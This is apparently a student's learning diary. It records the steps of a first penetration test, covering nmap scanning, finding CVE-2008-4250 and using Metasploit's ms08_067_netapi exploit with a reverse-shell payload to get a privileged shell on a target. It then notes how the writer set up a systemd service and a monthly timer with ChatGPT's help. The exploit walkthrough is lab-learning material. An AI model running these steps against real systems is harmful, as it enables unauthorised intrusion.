22nd November:

To do my first successful security penetration test attempt I watched this video https://youtu.be/ZUGwCaaRoVo?si=4HGY58cqJ3Jxlivu

And followed the commands below:

- ifconfig
- ping [target machine's ip]
- nmap -sV [target machine's ip]
- nmap -p --script vuln [target machine's ip] -Pn
- have the vulnerability's IDs: CVE which is CVE-2008-4250
- go on Metasploit with 'sudo msfconsole'
- write 'search CVE-2008-4250'
- take the name of the exploit which is 'exploit/windows/smb/ms08_067_netapi'
- write 'use [exploit name]'
- show options
- set the RHOSTS and any other required setting
- show payloads and choose the needed payload, in my case I tried using a shell payload named windows/shell_reverse_tcp
- and 'exploit' or 'run'
- And voila you have access to the victim's command shell as a powerful user.

Finally, it was successful and now I have to memorize the order after understanding the commands deeply while missing with them.

For making a systemd service to be able to run our update & upgrade script, I watched this video: https://youtu.be/2gyKkgguyxE?si=rASvr2ZqN7RTELdy and refreshed my memory on what to write in the file.

I got the help of ChatGPT for the specific commands on what to include and it told me to include 'Type=oneshot', to execute the file ones and exit.

After That, I created a timer to run the service monthly, in which I had some difficulties remembering what to include, ChatGPT helped correcting my work by adding 'Persistent=true' and most importantly '[Install] WantedBy=timers.target', and I finalized the timer with it.